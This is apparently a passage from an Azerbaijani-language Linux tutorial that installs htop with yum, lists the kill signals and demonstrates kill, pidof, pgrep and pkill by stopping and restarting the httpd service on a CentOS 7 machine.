* base: mirror.bakinter.net
* epel: epel.mirror.srv.co.ge
* extras: mirror.bakinter.net
* updates: mirror.bakinter.net
Resolving Dependencies
--> Running transaction check
---> Package htop.x86_64 0:1.0.3-3.el7 will be installed
--> Finished Dependency Resolution

Dependencies Resolved

================================================================================
Package Arch Version Repository Size
================================================================================
Installing:
htop x86_64 1.0.3-3.el7 epel 87 k

Transaction Summary
================================================================================
Install 1 Package

Total download size: 87 k
Installed size: 181 k
Is this ok [y/d/N]: y
Downloading packages:
htop-1.0.3-3.el7.x86_64.rpm | 87 kB 00:03 
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
Installing : htop-1.0.3-3.el7.x86_64 1/1 
Verifying : htop-1.0.3-3.el7.x86_64 1/1 

Installed:
htop.x86_64 0:1.0.3-3.el7 

Complete!

[root@localhost Desktop] htop

Tasks: 157 total,   2 running, 153 sleeping,   2 stopped,   0 zombie
%Cpu(s):  0,7 us,  0,4 sy,  0,0 ni, 98,6 id,  0,2 wa,  0,0 hi,  0,0 si,  0,0 st
KiB Mem :  1017480 total,    63332 free,   744844 used,   209304 buff/cache
KiB Swap:  2097148 total,  1897280 free,   199868 used.   112512 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND      
 1788 root      20   0  130020   1748   1232 R  5,9  0,2   0:00.01 top          
    1 root      21   1  141528   2932    856 S  0,0  0,3   0:04.09 systemd      
    2 root      20   0       0      0      0 S  0,0  0,0   0:00.03 kthreadd     
    3 root      20   0       0      0      0 S  0,0  0,0   0:00.85 ksoftirqd/0  
    5 root       0 -20       0      0      0 S  0,0  0,0   0:00.00 kworker/0:0H 
    6 root      20   0       0      0      0 S  0,0  0,0   0:01.11 kworker/u2:0 
    7 root      rt   0       0      0      0 S  0,0  0,0   0:00.00 migration/0  
    8 root      20   0       0      0      0 S  0,0  0,0   0:00.00 rcu_bh       
    9 root      20   0       0      0      0 S  0,0  0,0   0:00.00 rcuob/0      
   10 root      20   0       0      0      0 S  0,0  0,0   0:14.20 rcu_sched    
   11 root      20   0       0      0      0 R  0,0  0,0   0:34.69 rcuos/0      
   12 root      rt   0       0      0      0 S  0,0  0,0   0:01.14 watchdog/0   
   13 root       0 -20       0      0      0 S  0,0  0,0   0:00.00 khelper      
   14 root      20   0       0      0      0 S  0,0  0,0   0:00.00 kdevtmpfs    
   15 root       0 -20       0      0      0 S  0,0  0,0   0:00.00 netns        
   16 root       0 -20       0      0      0 S  0,0  0,0   0:00.00 writeback    
   17 root       0 -20       0      0      0 S  0,0  0,0   0:00.00 kintegrityd

bütün siqnallara baxmaq üçün
kill -l istifadə edirik

[root@localhost Desktop] kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX

kill -15 prosess ID = kill -SIGTERM prosess ID (SIGTERM)
kill -9 prosess ID = kill -SIGKILL prosess ID (SIGKILL)

Bir dəfəyə çoxlu prosessi sonlandıra bilərik

kill PİD1,PİD2,PİD3

pidof əmri ilə prosess PID -ə baxırıq

[root@localhost Desktop] pidof httpd
29737 29736 29735 29734 29733 29731

pgrep əmri ilə prosessin adına görə PID -ə baxırıq

[root@localhost Desktop] pgrep httpd
29731
29733
29734
29735
29736
29737

kill əmrindən fərqli olaraq pkill prosessi adına görə sonlandırır

[root@localhost Desktop] pkill -9 httpd # httpd servisi sonlandırırıq
[root@localhost Desktop] pidof httpd # prosess id -sinə baxırıq
[root@localhost Desktop] service httpd start # servisi yenidən başladırıq
Redirecting to /bin/systemctl start httpd.service
[root@localhost Desktop] pidof httpd #prosess id-sinə baxırıq
29737 29736 29735 29734 29733 29731